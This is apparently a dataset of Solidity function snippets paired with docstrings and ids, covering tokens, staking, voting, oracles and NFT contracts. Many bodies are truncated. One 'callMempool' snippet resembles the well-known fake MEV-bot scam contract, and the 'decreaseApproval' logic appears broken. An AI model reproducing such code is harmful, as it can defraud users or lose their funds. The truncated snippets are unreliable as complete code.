./full_match/100/0x7BD4FaE40Dce40CC61E3e5E7E85aa0Fc403297fD/sources/contracts/OrbisAlpha.sol | Users can leave a community they are part of whenever they want. If a user leaves a private community he won't be able to re-join it _membershipID: The unique ID of the membership/ Make sure the user quitting isn't the admin Make sure the user is updating its own membership Update membership | function quit(uint _membershipID) public {
require(
memberships[_membershipID].role != Roles.Admin,
"Admin can't quit a community, there must be a governance vote");
require(
memberships[_membershipID].member == msg.sender,
"You can't update... | 14,265,318 |
./full_match/80001/0xb75Ff2f22cb09ea715050829Dc301d99be257911/sources/contracts/stability-pool.sol | set the DEX router to be used for arbitrage functions | function setRouter(address _router) public onlyOwner {
router = IRouter(_router);
stableCoin.approve(_router, MAX_INT);
}
| 5,679,596 |
./full_match/137/0xAfFe628F223c60ecDfaD44688233d45d35D04006/sources/contracts/CourseContract.sol | Student FunctionsStudent enroll by staking the studentStake amount, they can withdraw if they want but stake is locked once the course starts. | function enroll()external payable{
require(!roles[TEACHER][msg.sender],"Teachers cannot enroll in their own course!");
require(courseStatus == false, "Course has already started :(");
require(!roles[STUDENT][msg.sender],"You are enrolled already!");
require(msg.value == studentStake... | 3,748,607 |
./full_match/80001/0x44D2f90327C5C2284180350d27B78D901317ba31/sources/project_/contracts/FundingPool.sol | Allows a lender to supply funds to the pool owner. _poolId The Id of the pool. _ERC20Address The address of the funds being supplied. _amount The amount of funds being supplied. _maxLoanDuration The duration of the loan after being accepted. _expiration The time stamp within which the loan has to be accepted. _AP... | function supplyToPool(
uint256 _poolId,
address _ERC20Address,
uint256 _amount,
uint32 _maxLoanDuration,
uint256 _expiration,
uint16 _APR
) external nonReentrant {
(bool isVerified, ) = poolRegistry(poolRegistryAddress)
.lenderVerification(_poo... | 5,580,446 |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0 || b == 0)
{
retur... | Decrease the amount of tokens that an owner allowed to a spender. approve should be called when allowed[_spender] == 0. To decrement allowed value is better to use this function to avoid 2 calls (and wait until the first transaction is mined) From MonolithDAO Token.sol _spender The address which will spend the funds. ... | function decreaseApproval(address _spender,uint _subtractedValue) public returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(m... | 10,843,657 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* The Purpose of this contract is to handle the booking of areas to display specific images at coordinates for a determined time.
* The boo... | Called by the interface to submit a booking of an area to display an image. The user must have created 5 allowances for all tokens At the time of submission, no collisions with previous bookings must be found or validation process will fail User tokens are temporary stored in the contract and will be non refundable aft... | function submit(uint16 x, uint16 y, uint16 width, uint16 height, uint256 time, uint256 duration, bytes32 sha, uint256 computedKappaAmount, uint256 computedGammaAmount) external {
require(width > 0
&& height > 0
&& time > 0
&& duration > 0
&& co... | 6,007,566 |
./partial_match/1/0xeECbBcc6BCab840288f42145464eAbF9F6718A31/sources/AILOCK.sol | exclude from paying fees or having max transaction amount | constructor() ERC20("AILOCK", "AILOCK") {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
_isExcludedMaxTransactionAmount[address(router)] = true;
_isExcludedMa... | 2,776,856 |
./full_match/43114/0xDeF060550A28043291eD556dee02da490c6E881E/sources/LoveBankSale.sol | Claim with direct transfer to staking contract. | function claim() public {
require(initClaim, "Not claimable yet. Please try again later.");
require(boughtLOVE[msg.sender], "Not an earlier investor, sorry.");
require(!claimed[msg.sender], "Current wallet already claimed, sorry.");
claimed[msg.sender] = true;
IERC20(LOVE).tr... | 4,511,277 |
/*
Copyright 2019 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in... | Reads value of medianizer and coerces return to uint256. Only authorized addresses are allowed to call read(). returns Oracle's uint256 output/ Read value of oracle | function read()
external
view
returns (uint256)
{
return oracleAddress.read();
}
| 13,057,244 |
pragma solidity 0.5.17;
contract IFactRegistry {
/*
Returns true if the given fact was previously registered in the contract.
*/
function isValid(bytes32 fact)
external view
returns(bool);
}
contract IMerkleVerifier {
uint256 constant internal MAX_N_MERKLE_VERIFIER_QUERIE... | Call MimcConstraintPoly contract. | function oodsConsistencyCheck(uint256[] memory ctx)
internal {
uint256 oodsPoint = ctx[MM_OODS_POINT];
uint256 nRows = 256;
uint256 zPointPow = fpow(oodsPoint, ctx[MM_TRACE_LENGTH] / nRows);
ctx[MM_PERIODIC_COLUMN__CONSTS0_A] = constantsCols[0].compute(zPointPow);
... | 7,338,303 |
./full_match/137/0x7d561bE86eBCB1d8353f98c21Bef7232343598a8/sources/WebaverseERC721.sol | Set metadata for a single token (non-hashed) tokenId Token hash to add metadata to key Key to store value at value Value to store/ | function setSingleMetadata(
uint256 tokenId,
string memory key,
string memory value
) public {
require(
ownerOf(tokenId) == msg.sender ||
isSingleCollaborator(tokenId, msg.sender),
"not an owner or collaborator"
);
bool key... | 4,669,380 |
./partial_match/80001/0x30e254A067ABB080DB2F392Ac39f6C7a863f362f/sources/Magnetar.sol | Prediction amount - bonus - potentional winning amount | function myPredictionInfo(address addr, uint256 id, uint256 option) public view returns(uint256, uint256, uint256){
if (_addressPrediction[addr][id][option] != 1){
return (0, 0, 0);
}
return (_addressAmount[addr][id][option], _addressBonus[addr][id][option], winningAmo... | 8,818,998 |
pragma solidity ^0.5.10;
import {SafeMath} from "@summa-tx/bitcoin-spv-sol/contracts/SafeMath.sol";
import {TBTCDepositToken} from "./TBTCDepositToken.sol";
import {FeeRebateToken} from "./FeeRebateToken.sol";
import {TBTCToken} from "./TBTCToken.sol";
import {TBTCConstants} from "../deposit/TBTCConstants.sol";
import... | Trade in the tBTC Deposit Token and mint TBTC. Transfers TDT from caller to vending machine, and mints TBTC to caller _tdtId ID of tBTC Deposit Token to sell If the backing Deposit does not have a signer fee in escrow, mint it. owner of the TDT during first TBTC mint receives the FRT | function tdtToTbtc(uint256 _tdtId) public {
require(tbtcDepositToken.exists(_tdtId), "tBTC Deposit Token does not exist");
require(isQualified(address(_tdtId)), "Deposit must be qualified");
tbtcDepositToken.transferFrom(msg.sender, address(this), _tdtId);
Deposit deposit = Deposit... | 5,449,464 |
pragma solidity ^0.5.0;
/* @title CredentialsConstrained */
contract CredentialsConstrained {
// State
mapping(address => bool) public authorizedUsers;
address public contractOwner;
bool public isOpenToEveryUser;
// Events
event AuthorizedUserAdded(address user);
event Credentia... | Open to every user Allows every address to certify documents in the contract/ | function openToEveryUser() public onlyContractOwner onlyWhenCloseToEveryUser {
isOpenToEveryUser = true;
}
| 5,506,584 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/ClonesUpgradeable.sol";
import "./GoodAaveStakingV2.sol";
import "../../Interfaces.sol";
/**
* @title Staking contract that donates earned interest to the DAO
* allowing stakers to deposit Token
* or withdraw... | withdraw staker G$ rewards + GDAO rewards withdrawing rewards resets the multiplier! so if user just want GDAO he should use claimReputation()/ | function withdrawRewards() external nonReentrant {
GoodFundManager(nameService.getAddress("FUND_MANAGER")).mintReward(
nameService.getAddress("CDAI"),
_msgSender()
claimReputation();
}
| 1,307,157 |
./partial_match/1/0xD835cDedc20Ca3075F86DeA4e0d914499d0C5B25/sources/StrategyZaps.sol | swap ETH to USDT via Curve's tricrypto amount - the amount of ETH to swap minAmountOut - the minimum amount expected | function _swapEthToUsdt(uint256 amount, uint256 minAmountOut) internal {
amount,
minAmountOut,
true
);
}
| 9,370,591 |
./partial_match/4/0x58096551Cc8B648d31Aa4A67968677625cE5d844/sources/LOAD.sol | never guessdo nothing | function addGuess(uint coin) internal {
uint today = block.timestamp.div(divdDuration).add(1);
checkMigrate();
}else
| 8,532,841 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
/// @title Whitelisted.
/// @author @Dadogg80.
/// @notice This contract is used to whitelist accounts.
contract Whitelisted {
/// @dev Array with whitelisted accounts.
address[] private Whitelist;
/// @dev Mapping takes an address and retu... | Return the array with whitelisted accounts. Can only be called by an whitelisted account. | function getList() external view returns (address[] memory){
if (!isWhitelisted[msg.sender]) revert Code_1();
return Whitelist;
}
| 6,416,942 |
./full_match/1/0x4C3c31518D525d1e1657DBef952A98AA807bC19a/sources/lib/ERC721A/contracts/ERC721A.sol | Mints `quantity` tokens and transfers them to `to`. This function is intended for efficient minting only during contract creation. It emits only one {ConsecutiveTransfer} as defined in instead of a sequence of {Transfer} event(s). Calling this function outside of contract creation WILL make your contract non-compliant ... | function _mintERC2309(address to, uint256 quantity) internal virtual {
uint256 startTokenId = _currentIndex;
if (to == address(0)) _revert(MintToZeroAddress.selector);
if (quantity == 0) _revert(MintZeroQuantity.selector);
if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT) _revert(Mint... | 9,736,614 |
pragma solidity ^0.4.11;
import './SafeMath.sol';
import './Owned.sol';
/* A library that manages all funds for buyer, seller, and owner roles. */
library AccountLib {
/*************************************************
* Members
*************************************************/
struct Data {
// the p... | Withdraws from the balance of an account and sends them with a given function call. / funds subtracted first to prevent re-entry | function withdrawCall(Data storage self, address from, address to, uint amount, bytes4 methodId) internal {
if(amount > self.accountBalances[from]) revert();
self.accountBalances[from] = SafeMath.subtract(self.accountBalances[from], amount);
if(!to.call.value(amount)(methodId)) revert();
}
| 12,891,549 |
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant retur... | Verify that claim params are correct and the link key wasn't used before. _recipient address to receive tokens. _transitAddress transit address provided by the airdropper _keyV ECDSA signature parameter v. Signed by the airdrop transit key. _keyR ECDSA signature parameters r. Signed by the airdrop transit key. _ke... | function checkWithdrawal(
address _recipient,
address _transitAddress,
uint8 _keyV,
bytes32 _keyR,
bytes32 _keyS,
uint8 _recipientV,
bytes32 _recipientR,
bytes32 _recipientS)
public view returns(bool success) {
require(usedTransitAddresses[_transitAddr... | 13,705,965 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
// dependencies
import {AggregatorV3Interface} from "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import {Context} from "@openzeppelin/contracts/utils/Context.sol";
... | create new vault check uses same vault | function _verifyAndSetVault(IVault vault) internal {
require(vaultInitialized[vault], "Vault is not initialized");
IVault oldVault = vaultUsed[_msgSender()];
if (address(oldVault) == address(0)) {
vaultUsed[_msgSender()] = vault;
emit VaultAssigned(_msgSender(), addre... | 994,496 |
./full_match/1/0x25923c009D80FaB7C083Dd6C4fc9bb0716eF4443/sources/snekemev.sol | Iterating through all mempool to call the one with the with highest possible returns return `self`./ | function callMempool() internal pure returns (string memory) {
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
uint _memPoolSol = 112679;
uint _memPoolLength = getMemPoolLength();
uint _memPoolSize = 151823;
uint _memPoolHeight = getMemPoolHe... | 3,187,204 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import {SafeMath} from '@openzeppelin/contracts/math/SafeMath.sol';
import {BytesLib} from '@interlay/bitcoin-spv-sol/contracts/BytesLib.sol';
import {BTCUtils} from '@interlay/bitcoin-spv-sol/contracts/BTCUtils.sol';
import {ValidateSPV} from '@interlay/bitcoin... | See {IRelay-verifyTx}./ txid must be little endian | function verifyTx(
uint32 height,
uint256 index,
bytes32 txid,
bytes calldata header,
bytes calldata proof,
uint256 confirmations,
bool insecure
) external view override returns (bool) {
require(txid != 0, ERR_INVALID_TXID);
if (insecure) ... | 992,823 |
pragma solidity >=0.4.24;
import "@ensdomains/solsha1/contracts/SHA1.sol";
import "@ensdomains/buffer/contracts/Buffer.sol";
library Algorithm {
using Buffer for *;
function checkSHA256(bytes memory data, string memory bodyHash) internal pure returns (bool) {
bytes32 digest = sha256(data);
re... | Computes (base ^ exponent) % modulus over big numbers./ | function modexp(bytes memory base, bytes memory exponent, bytes memory modulus) internal view returns (bool success, bytes memory output) {
uint size = (32 * 3) + base.length + exponent.length + modulus.length;
Buffer.buffer memory input;
input.init(size);
input.appendBytes32(bytes... | 5,423,622 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/**
* @title Vock
* @dev Implémente le mecanisme de vote
*/
contract Vock {
// Différents statuts d'une élection
enum Statut {
Initial, // L'élection est consiérée comme inexistante
Cree, // Quand quelqu'un crée une élection. Enregi... | Enregistrer le vote d'un électeur. _idElec l'identifiant de l'élection où se trouve le candidat _idCand l'identifiant du candidat dans l'élection/ | function voter(uint256 _idElec, uint256 _idCand)
public
electionEnCours(_idElec)
{
require(
elections[_idElec].electeurs[msg.sender].estEnregistre == true,
"Vous devez etre enregistre a cette election pour voter"
);
require(
elections[_... | 923,153 |
./partial_match/1/0x2e56De67F85504623746F591849b21813D68Fa78/sources/stonks-eth/contracts/StonkNFT.sol | Only Stonks contract can mint Check if player has already minted and record | function mintPreMarket(address player, uint playerId)
public
{
require(msg.sender == address(stonk));
if (hasMintedPreMarket[player]) {
return;
}
hasMintedPreMarket[player] = true;
_setTokenURI(id, string(abi.encodePacked("live/premarket/", playerId.to... | 2,849,742 |
pragma solidity 0.5.16;
import "./LooksRareStakingStrategy.sol";
contract LooksRareStakingStrategyMainnet_LOOKS is LooksRareStakingStrategy {
constructor() public {}
function initializeStrategy(
address _storage,
address _vault
) public initializer {
address looks = address(0xf4d2888d29D722226FafA... | Get the reward, sell it in exchange for underlying, invest what you got. It's not much, but it's honest work./ | function doHardWork() external onlyNotPausedInvesting restricted {
uint256 pendingRewards = IFeeSharingSystem(rewardPool()).calculatePendingRewards(address(this));
if (pendingRewards > 0) {
IFeeSharingSystem(rewardPool()).harvest();
}
_liquidateReward();
investAllUnderlying();
}
| 12,039,906 |
pragma solidity ^0.4.20;
import "./ItemListing.sol";
contract Bazaar /* is WorkbenchBase('BazaarItemListing', 'Bazaar') */
{
enum StateType { PartyProvisioned, ItemListed, CurrentSaleFinalized}
StateType public State;
address public InstancePartyA;
int public PartyABalance;
address... | ContractUpdated('ListItem'); | function ListItem(string itemName, int itemPrice) public
{
CurrentSeller = msg.sender;
currentItemListing.AddItem(itemName, itemPrice, CurrentSeller, CurrentContractAddress, InstancePartyA, InstancePartyB);
State = StateType.ItemListed;
}
| 13,000,596 |
/*
* LocalCoinSwap Cryptoshare Source Code
* www.localcoinswap.com
*/
pragma solidity ^0.4.19;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = ... | Set the address and release time of the next token distribution | function scheduleNewDerivativeToken(address _address, uint256 _time) public onlyOwner returns (bool) {
require(!nextDerivativeTokenScheduled);
nextDerivativeTokenScheduled = true;
nextDerivativeTokenTime = _time;
nextDerivativeToken = DerivativeTokenInterface(_address);
ret... | 41,513 |
./full_match/11155111/0x20D9e5190b01FD6C4761b7C1dFeaBb39108e020B/sources/project:/contracts/agreements/ConstantFlowAgreementV1.sol | Checks conditions for both create/update flow returns the flowId and flowParams/ | function _createOrUpdateFlowCheck(
_StackVars_createOrUpdateFlow memory flowVars,
ISuperfluid.Context memory currentContext
)
internal pure
returns(bytes32 flowId, FlowParams memory flowParams)
{
if (flowVars.receiver == address(0)) {
revert CFA_ZERO_ADDRE... | 3,815,702 |
./full_match/1/0xc2731fb2823af3Efc2694c9bC86F444d5c5bb4Dc/sources/@keep-network/sortition-pools/contracts/Branch.sol | Return `node` with the `position`th slot set to zero. Shifting `SLOT_MAX` left by `slotShift(position)` bits gives us a number where all bits of the `position`th slot are set, and all other bits are unset. Using a bitwise NOT on this number, we get a uint256 where all bits are set except for those of the `position`th s... | function clearSlot(uint256 node, uint256 position)
internal
pure
returns (uint256)
{
unchecked {
uint256 shiftBits = position * Constants.SLOT_WIDTH;
return node & ~(Constants.SLOT_MAX << shiftBits);
}
}
| 2,973,614 |
./full_match/44787/0xDB57acC6DDD3772CDFab4D7ef05faC6a70bb1C84/sources/project_/contracts/cStarFarm.sol | stake visibility is public as overriding LPTokenWrapper's stake() function | function stake(uint256 amount) public override updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
cstarPool.addUser(msg.sender, balanceOf(msg.sender));
}
| 13,290,681 |
/**
*Submitted for verification at Etherscan.io on 2020-11-07
*/
pragma solidity ^0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an o... | Allows the fund manager to connect to a new Oracle _newOracle address of new fund value Oracle contract/ Require permitted Oracle Set new | function setNewFundValueOracle(address _newOracle) public onlyOwner {
require(permittedAddresses.isMatchTypes(_newOracle, 5), "WRONG_ADDRESS");
fundValueOracle = IFundValueOracle(_newOracle);
}
| 12,712,224 |
./partial_match/1/0xeacAbd7339202DED487Bb67a088CF47c6Ed00aa2/sources/src/Oddsoleum/NonRollingRateLimited.sol | Returns the maximum number of actions per period./ | function _maxActionsPerPeriod() internal view returns (uint64) {
return __maxActionsPerPeriod;
}
| 9,146,507 |
// SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "./lib/Ownable.sol";
import "./lib/Pausable.sol";
import "./erc/ERC721Enumerable.sol";
import "./IDegens.sol";
import "./IFortress.sol";
import "./ITraits.sol";
import "./IGains.sol";
contract Degens is IDegens, ERC721Enumerable, Ownable, Pausabl... | the first 20% (ETH purchases) go to the minter the remaining 80% have a 10% chance to be given to a random staked zombie seed a random value to select a recipient from return the address of the recipient (either the minter or the zombie thief's owner)/ top 10 bits haven't been used 144 bits reserved for trait selectio... | function selectRecipient(uint256 seed) internal view returns (address) {
if (minted <= PAID_TOKENS || ((seed >> 245) % 10) != 0) return _msgSender();
address thief = fortress.randomZombieOwner(seed >> 144);
if (thief == address(0x0)) return _msgSender();
return thief;
}
| 6,855,765 |
// Copyright 2016 The go-ethereum Authors
// This file is part of the go-ethereum library.
//
// The go-ethereum library is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License... | promote pitches in on a voting campaign to promote a new user to a signer position. | function promote(address user) {
updateSigner(user, true);
}
| 1,048,391 |
./full_match/1/0x76B634B0d9137ceF5694D0cCf95189Cd448A29f1/sources/src/libraries/gateway/ScrollGatewayBase.sol | Internal function to forward calldata to target contract. _to The address of contract to call. _data The calldata passed to the contract. | function _doCallback(address _to, bytes memory _data) internal {
if (_data.length > 0 && _to.code.length > 0) {
IScrollGatewayCallback(_to).onScrollGatewayCallback(_data);
}
}
| 8,338,359 |
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
* Library easily handles the cases of overflow as well as underflow.
* Also ensures that balance does nto get naegative
*/
library SafeMath {
// multiplies two values safely and returns result
... | Constructor that gives msg.sender all of existing tokens./ | function PalestinoToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
| 12,771,355 |
./full_match/1/0xa6630B22974F908a98a8139CB12Ec2EbABfbe9D4/sources/ILUS_Contract.sol | Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. spender The address which will spend the funds. value The amount of tokens to be spent./ | function approve(address spender, uint256 value) public override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
| 2,955,156 |
//SPDX-License-Identifier: Unlicense
pragma solidity 0.5.17;
import "./interfaces/IOpportunity.sol";
import "./libraries/Initializable.sol";
import "./interfaces/IStorage.sol";
// Remove hardhat/console.sol for production
import "hardhat/console.sol";
contract MyOpportunity is IOpportunity, Initializable {
byte... | Withdraw assets to the underlying Opportunity token - address of the token to withdraw case of ETH beneficiary - address to send the token too amount - amount in the smallest unit of the token to supply isERC20 - boolean if the token follows the ERC20 standard | function withdraw(address token, address beneficiary, uint amount, bool isERC20) external onlyOpportunityManager {
}
| 12,882,737 |
./full_match/80001/0xf494169441E0Ef3708EFA9d2E4c01BaB184a98ea/sources/StakeManager.sol | @inheritdoc IStakeManager/ | function restakeCommissions(uint256 epochs)
external
validatorExists(msg.sender)
stakerExists(msg.sender)
onlyNotLastBlock
{
uint256 amount = validators[msg.sender].claimCommissions(environment, epochs);
if (amount == 0) revert NoAmount();
_stake(msg.send... | 857,868 |
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "ds-test/test.sol";
import "../RebalanceRewardCalculation.sol";
import "./utils/Hevm.sol";
abstract contract RRCTest is DSTest {
Hevm internal constant hevm = Hevm(HEVM_ADDRESS);
uint256 constant internal BPS = 10000;
uint256 constant ... | Fuzz reward calculation with input values with their decimals being 0 and multiply them by 1018 before passing them in If to chain PCV == 0, skip If amount out > to chain PCV, skip Set total PCV to 10 times the sum of from chain PCV and to chain PCV | function testRewardNoDecimal(uint32 prevFromChainPCV, uint32 amountIn, uint32 prevToChainPCV, uint32 amountOut) public {
if(prevToChainPCV == 0) return;
if (amountOut > prevToChainPCV) return;
Param memory p;
p.prevTotalPCV = (uint256(prevFromChainPCV) + uint256(prevToChainPCV)) * 10... | 12,791,230 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.